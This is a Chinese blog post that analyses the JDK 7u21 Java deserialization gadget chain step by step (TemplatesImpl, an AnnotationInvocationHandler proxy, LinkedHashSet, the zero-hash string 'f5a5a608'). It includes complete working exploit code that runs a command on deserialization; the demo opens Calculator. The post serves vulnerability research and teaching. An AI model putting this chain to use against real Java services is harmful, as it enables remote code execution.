序言
往事依稀浑似梦,都随风雨到心头。
终于开学了,疯狂更博启动。
2021.11.12更新:已移步至Java反序列化漏洞补全计划
环境搭建 JDK–JRE
-tools:javac,…
-lib
-cmd:jar
查看系统已安装的Java版本和路径:/usr/libexec/java_home -V
Java se 7的所有版本
存在缺陷版本:JRE -V <= 7u21
需要ysoserial 的搭配
漏洞演示 exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 import ysoserial.payloads.Jdk7u21;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class JDK7u21Test { public static void main (String[] args) { try { Object calc = new Jdk7u21().getObject("open /Applications/Calculator.app/Contents/MacOS/Calculator" ); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(calc); objectOutputStream.flush(); objectOutputStream.close(); byte [] bytes = byteArrayOutputStream.toByteArray(); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); Object o = objectInputStream.readObject(); } catch (Exception e) { e.printStackTrace(); } } }
执行结果:
跟进看ysoserial部分的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 package ysoserial.payloads;import java.lang.reflect.InvocationHandler;import java.util.HashMap;import java.util.LinkedHashSet;import javax.xml.transform.Templates;import ysoserial.payloads.annotation.Authors;import ysoserial.payloads.annotation.Dependencies;import ysoserial.payloads.annotation.PayloadTest;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.JavaVersion;import ysoserial.payloads.util.PayloadRunner;import ysoserial.payloads.util.Reflections;@SuppressWarnings ({ "rawtypes" , "unchecked" })@PayloadTest ( precondition = "isApplicableJavaVersion" )@Dependencies ()@Authors ({ Authors.FROHOFF })public class Jdk7u21 implements ObjectPayload <Object > { @Override public Object getObject (final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); String zeroHashCodeStr = "f5a5a608" ; HashMap map = new HashMap(); map.put(zeroHashCodeStr, "foo" ); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class , map ) ; Reflections.setFieldValue(tempHandler, "type" , Templates.class ) ; Templates proxy = Gadgets.createProxy(tempHandler, Templates.class ) ; LinkedHashSet set = new LinkedHashSet(); set.add(templates); set.add(proxy); Reflections.setFieldValue(templates, "_auxClasses" , null ); Reflections.setFieldValue(templates, "_class" , null ); map.put(zeroHashCodeStr, templates); return set; } public static boolean isApplicableJavaVersion () { JavaVersion v = JavaVersion.getLocalVersion(); return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21 )); } public static void main (final String[] args) throws Exception { PayloadRunner.run(Jdk7u21.class , args ) ; } }
为什么是“f5a5a608”这个字符串,因为hashcode()
方法计算结果为0
;这个之后会用到。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public int hashCode () { int h = hash; if (h == 0 && count > 0 ) { int off = offset; char val[] = value; int len = count; for (int i = 0 ; i < len; i++) { h = 31 *h + val[off++]; } hash = h; } return h; }
漏洞分析 1-createTemplatesImpl
继续跟 能看到:
在利用 payload 中,TemplatesImpl 类主要的作用为:
使用 _bytecodes
成员变量存储恶意字节码 ( 恶意class => byte array )
提供加载恶意字节码并触发执行的函数,加载在 defineTransletClasses()
方法中,方法触发为 getOutputProperties()
或 newTransformer()
来具体看一下,该类位于 com.sun.org.apache.xalan.internal.xsltc.trax
包中,用于 xml document 的处理和转换,定义如下:
1 public final class TemplatesImpl implements Templates , Serializable {
TemplatesImpl
类实现了 Templates
和 Serializable
两个接口
其中 Templates
接口定义如下,包含了两个方法,即之前提到触发恶意代码执行所的方法 :
1 2 3 4 public interface Templates { Transformer newTransformer () throws TransformerConfigurationException ; Properties getOutputProperties () ; }
在 TemplatesImpl
类中有一个 private 方法 defineTransletClasses()
,精简后的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private byte [][] _bytecodes = null ;... private void defineTransletClasses () throws TransformerConfigurationException { ... TransletClassLoader loader = ... try { for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } } }
需要理解的是:
在方法中,调用了 ClassLoader.defineClass()
方法,参数为实例变量 _bytecodes
内的元素,该方法会将字节数组转换为 Class,并加载
也就是说,通过设置 _bytecodes
的内容 ,调用 defineTransletClasses()
方法即可加载指定的 Class 。
find usages:
一共三处:
getTransletClasses()
getTransletIndex()
getTransletInstance()
这里满足条件的就是第三个函数getTransletInstance()
跟进去看一下:
1 2 3 4 5 6 7 8 9 10 11 12 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ... } }
defineTransletClasses()
执行后,会调用之前加载的 Class 的 newInstance()
方法来创建实例,触发 static block 和 constructor 的执行,根据方法,调用关系如下:
1 getOutputProperties() => newTransformer() => getTransletInstance() => defineTransletClasses() => ClassLoader.defineClass()
可以看到调用 getOutputProperties()
或 newTransformer()
方法均可触发恶意代码的执行。
理一下思路
使用 javassist
库创建一个包含恶意代码的 class,恶意代码可以在 static block中,或在无参构造函数里
将恶意 class 的的字节码添加到 TemplatesImpl 实例的 _bytecodes
变量中
调用实例的 getOutputProperties()
或 newTransformer()
方法触发恶意代码执行
弹出计算器的代码示例如下 (程序报错可以忽略):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(AbstractTranslet.class )) ; CtClass cc = pool.get(Cat.class .getName ()) ; String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a /Applications/Calculator.app\");" ; cc.makeClassInitializer().insertBefore(cmd); String randomClassName = "EvilCat" + System.nanoTime(); cc.setName(randomClassName); cc.setSuperclass(pool.get(AbstractTranslet.class .getName ())) ; byte [] evilByteCodes = cc.toBytecode(); byte [][] targetByteCodes = new byte [][]{evilByteCodes}; TemplatesImpl templates = TemplatesImpl.class .newInstance () ; setFieldValue(templates, "_bytecodes" , targetByteCodes); setFieldValue(templates, "_name" , "name" + System.nanoTime()); setFieldValue(templates, "_class" , null ); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl()); templates.newTransformer();
在上面的代码示例中,是手动调用 newTransformer()
来触发恶意代码的执行,因此还需要找到一个能够在反序列化过程中,自动调用 (直接或间接) 该方法的类。
这里分为两部分,一部分是Javassist的动态注入,一部分是Templates 属性的设置。
Javassist的作用:
通过动态字节码生成一个类,该类的静态代码块中存储恶意代码。
Templates属性设置的作用:
Templates.newTransformer() 实例化该恶意类从而触发其静态代码块中的恶意代码。
这部分的理解,可以通过调试这个简单的触发语句来理解:
1 2 3 4 5 6 public class Example { public static void main (String[] args) throws Exception { TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /Applications/Calculator.app/Contents/MacOS/Calculator" ); calc.getOutputProperties(); } }
可以跟这个,看调用的细节:
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
调用_class[_transletIndex]
类的无参构造方法,生成类对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run () { return new TransletClassLoader(ObjectFactory.findClassLoader()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1 ) { _auxClasses = new Hashtable(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
_class[i] = loader.defineClass(_bytecodes[i]);
加载类并不会触发静态方法,但是之后会有一个:
1 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
进行实例化,从而触发我们javassist注入的静态恶意代码。
从上面我们简单归纳下执行的顺序:
1 2 3 4 5 6 1 .TemplatesImpl.getOutputProperties()2 .TemplatesImpl.newTransformer()3 .TemplatesImpl.getTransletInstance()4 .TemplatesImpl.defineTransletClasses()5 .ClassLoader.defineClass()6 .Class.newInstance()
1,2,3,4中都是可以触发的点,但是1,2 是public
方法可以被对象直接调用,而3,4是private
方法,只能被对象可调用方法间接调用。所以第二层的目标就是触发第一点或者第二点。
2-AnnotationInvocationHandler 进入第二阶段:
1 2 3 InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class , map ) ; Reflections.setFieldValue(tempHandler, "type" , Templates.class ) ; Templates proxy = Gadgets.createProxy(tempHandler, Templates.class ) ;
第二层的核心是怎么触发第一层的TemplatesImpl.newTransformer()
这里选择newTransformer()
方法来触发的
首先通过Reflections框架通过调用初始化函数创建一个AnnotationInvocationHandler对象实例。
然后设置了type
属性为Templates.class
;
这里被createProxy封装了。
在写个demo来debug理解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.Reflections;import javax.xml.transform.Templates;import java.lang.reflect.InvocationHandler;import java.util.HashMap;public class Test2nd { public static void main (String[] args) throws Exception { TemplatesImpl calc = (TemplatesImpl) Gadgets.createTemplatesImpl("open /Applications/Calculator.app/Contents/MacOS/Calculator" ); HashMap map = new HashMap(); InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class , map ) ; Reflections.setFieldValue(tempHandler, "type" , Templates.class ) ; Templates proxy = Gadgets.createProxy(tempHandler, Templates.class ) ; proxy.equals(calc); } }
调用栈:
可以看到当调用方法名为equals
时,且参数个数和类型匹配,则调用内部 equalsImpl
方法
仔细看equalsImpl
函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 private Boolean equalsImpl (Object var1) { if (var1 == this ) { return true ; } else if (!this .type.isInstance(var1)) { return false ; } else { Method[] var2 = this .getMemberMethods(); int var3 = var2.length; for (int var4 = 0 ; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this .memberValues.get(var6); Object var8 = null ; AnnotationInvocationHandler var9 = this .asOneOfUs(var1); if (var9 != null ) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false ; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } } if (!memberValueEquals(var7, var8)) { return false ; } } return true ; } }
跟入后可以看到,首先获取 type
Class 所有声明的方法,然后在参数 Object o 上使用反射调用方法,因此前面所说 TemplatesImpl 实例是需要作为参数传入:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 private Boolean equalsImpl (Object o) { if (!this .type.isInstance(o)) { return false ; } ... for (Method memberMethod : getMemberMethods()) { ... AnnotationInvocationHandler hisHandler = asOneOfUs(o); if (hisHandler != null ) { hisValue = hisHandler.memberValues.get(member); } else { hisValue = memberMethod.invoke(o); } } return true ; }
目的是触发TemplatesImpl.newTransformer()
var1可以通过proxy(var1)
方式去控制,那么var5怎么去控制呢?
Method[] var2 = this.getMemberMethods();
可以看到这里获取了成员的方法,跟进去看看。
理一下思路
根据 TemplatesImpl 部分的说明,创建一个包含恶意代码的 TemplatesImpl 实例 evilTemplates
使用 AnnotationInvocationHandler 创建 proxy object 代理 Templates 接口 (会使用到反射)
调用 proxy object 的 equals
方法,将 evilTemplates
作为参数
例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @Test public void testTemplateImpl () throws Exception { Map map = new HashMap(); final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class , map ) ; setFieldValue(invocationHandler, "type" , Templates.class ) ; Templates proxy = (Templates) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler); Templates evilTemplates = getEvilTemplates(); proxy.equals(evilTemplates); }
结果发现是通过反射机制从this.type
这个类属性去获取的。
1 Reflections . setFieldValue(tempHandler , "type" , Templates.class ) ;
所以这里我们只要控制type为Templates.class
就行了。
里面就有newTransformer
方法,且为第一个,如果是第二个、第三个话,前面可能会因为参数不对等原因出现错误,导致程序没能执行到newTransformer
方法就中断了。
3-LinkedHashSet 第三层的核心就是触发proxy.equals(calc);
这是最外层LinkedHashSet
,这个对象在反序列化的时候会自动触发readObject
方法,从而开始了exp的执行流程
在利用 payload 中,LinkedHashSet 是最外层的类,包含恶意代码的实例和proxy object 会作为元素添加到 set 中,在反序列化过程中,会调用到前一部分所说的 equals
方法,来具体看一下。
LinkedHashSet 位于 java.util
包中,是 HashSet 的子类,添加到 set 的元素会保持有序状态,内部实现基于 HashMap 。
问题是如何触发equals方法,接下来仔细看一下:
1 2 3 4 public class LinkedHashSet <E > extends HashSet <E > implements Set <E >, Cloneable , java .io .Serializable {}
在 HashSet 的 writeObject()
方法中,会依次调用每个元素的 writeObject()
方法来实现序列化:
通过查看序列化规则writeObject
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { s.defaultWriteObject(); s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); s.writeInt(map.size()); for (E e : map.keySet()) s.writeObject(e); }
逻辑规则:
1 2 3 4 5 6 s.defaultWriteObject(); s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); s.writeInt(map.size()); for (E e : map.keySet()) s.writeObject(e);
相应的,在反序列化过程中,会依次调用每个元素的 readObject()
方法,然后将其作为 key
(value 为固定值) 依次放入 HashMap 中:
来看一下 HashMap
的 put()
方法,首先会调用内部 hash()
函数计算 key 的 hash 值,然后遍历所有元素,*当要插入的元素的 hash 和已有 entry 相同,且 key 和 Entry的 key 指向同一个对象 或 二者equals时 * ,则认为 key 已经存在,返回 oldValue,否则调用 addEntry()
添加元素:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public V put (K key, V value) { if (key == null ) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this ); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null ; }
代码中将已有元素的 *key* 值作为参数 (k 变量),调用了插入 key 的 equals
方法来判断而这是否相等 ,这里我们只要反序列化过程中让 proxy object 先添加,然后再添加包含恶意代码的实例 (序列化时添加要顺序相反)。
理一下思路
创建一个 LinkedHashSet
先将 包含恶意代码的 Templates 对象添加到 hashSet 中
将使用 AnnotationInvocationHandler 创建的proxy object (代理 Templaes 接口) 添加到 hashSet 中,在反序列化过程中,会调用 proxy 的 equals 方法 (包含恶意代码的Templates 对象作为参数),触发恶意代码执行
在反序列化过程中,需要保证 HashSet 内的 entry 保持有序,这也是为什么使用 LinkedHashSet
的原因。
根据代码分析,在执行到 equals()
之前,需要满足两个条件
e.hash == hash
(k = e.key) != key
条件 2 比较两个变量是否指向同一个对象,这里满足(一个为包含恶意代码的templates 实例,一个为proxy object),条件1判断的是 hash 值是否相等,来看一下 hash 值是如何计算的
1 2 3 4 5 6 7 8 9 final int hash (Object k) { int h = 0 ; ... h ^= k.hashCode(); h ^= (h >>> 20 ) ^ (h >>> 12 ); return h ^ (h >>> 7 ) ^ (h >>> 4 ); }
可以看到,计算结果只受 k.hashCode()
的影响
对于普通对象,返回的是就是 k.hashCode()
对用 proxy object,因为会统一调用 inove()
,而AnnotationInvocationHandler
在 inove()
方法中提供了 hashCode()
的实现,代码如下,内部调用了 hashCodeImpl()
1 2 3 4 5 6 7 8 public Object invoke (Object obj, Method method, Object[] args) { String methodName = method.getName(); ... } else if (methodName.equals("hashCode" )) { return this .hashCodeImpl(); } ... }
hashCodeImpl()
代码如下 ,这里稍微修改了下代码,便于理解
1 2 3 4 5 6 7 8 9 10 11 12 13 private int hashCodeImpl () { int result = 0 ; Iterator itr = this .memberValues.entrySet().iterator(); for ( ;itr.hasNext(); ) { Entry entry = (Entry)itr.next(); String key = ((String)entry.getKey()); Object value = entry.getValue(); result += 127 * key.hashCode() ^ memberValueHashCode(value); } return result; }
for 循环内调用了 memberValueHashCode()
函数,其精简代码如下
1 2 3 4 5 6 7 8 9 10 private static int memberValueHashCode (Object var0) { Class var1 = var0.getClass(); if (!var1.isArray()) { return var0.hashCode(); } else if (var1 == byte [].class ) { .... } else { ... } }
for 循环内调用了 memberValueHashCode()
函数,其精简代码如下
1 2 3 4 5 6 7 8 9 10 private static int memberValueHashCode (Object var0) { Class var1 = var0.getClass(); if (!var1.isArray()) { return var0.hashCode () ; } else if (var1 == byte [].class) { .... } else { ... } }
如果 Entry 的 value 的 Class 不为 Array,则 memberValueHashCode()
函数返回 value.hashCode()
,在这里相当于
1 127 * key .hashCode() ^ value.hashCode();
为了让最后返回的 result
和 value.hashCode()
相同,这就要求
memberValues
仅有一个 entry,否则 for 循环内每次计算的结果会累加
key.hashCode()
的值为0,从而 127 * key.hashCode() = 0,0 和 任何数异或还是原值
value 和 之前添加到 hashset 的对象相同, (利用代码中该值为包含恶意代码的 templates 对象)
前面提到字符串 f5a5a608
的 hashCode 为 0,所以这里只要让 AnnotationInvocationHandler
的 memberValues
内只放一个 key 为字符串 f5a5a608
,value 为包含恶意代码的 templates
对象即可
到这里,就可以写出完整的利用代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 @Test public void testPoc () throws Exception { Map map = new HashMap(); String magicStr = "f5a5a608" ; final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class , map ) ; setFieldValue(invocationHandler, "type" , Templates.class ) ; map.put(magicStr, "foo" ); Templates proxy = (Templates) Proxy.newProxyInstance(InvocationHandler.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler); Templates evilTemplates = getEvilTemplates(); HashSet target = new LinkedHashSet(); target.add(evilTemplates); target.add(proxy); map.put(magicStr, evilTemplates); String filename = "/tmp/jdk7u21" ; ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename)); oos.writeObject(target); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); ois.readObject(); }
反序列化过程的方法调用链如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 LinkedHashSet.readObject() LinkedHashSet.add() ... TemplatesImpl.hashCode() (X) LinkedHashSet.add() ... Proxy(Templates).hashCode() (X) AnnotationInvocationHandler.invoke() (X) AnnotationInvocationHandler.hashCodeImpl() (X) String.hashCode() (0 ) AnnotationInvocationHandler.memberValueHashCode() (X) TemplatesImpl.hashCode() (X) Proxy(Templates).equals() AnnotationInvocationHandler.invoke() AnnotationInvocationHandler.equalsImpl() Method.invoke() ... TemplatesImpl.newTransformer() TemplatesImpl.getTransletInstance() TemplatesImpl.defineTransletClasses() ClassLoader.defineClass() Class.newInstance() ... MaliciousClass.<clinit>() ... Runtime.exec()
修复
在 jdk > 7u21 的版本,修复了这个漏洞,看了下 7u79 的代码,AnnotationInvocationHandler
的 readObject()
方法增加了异常抛出,导致反序列化失败。
参考:
1
2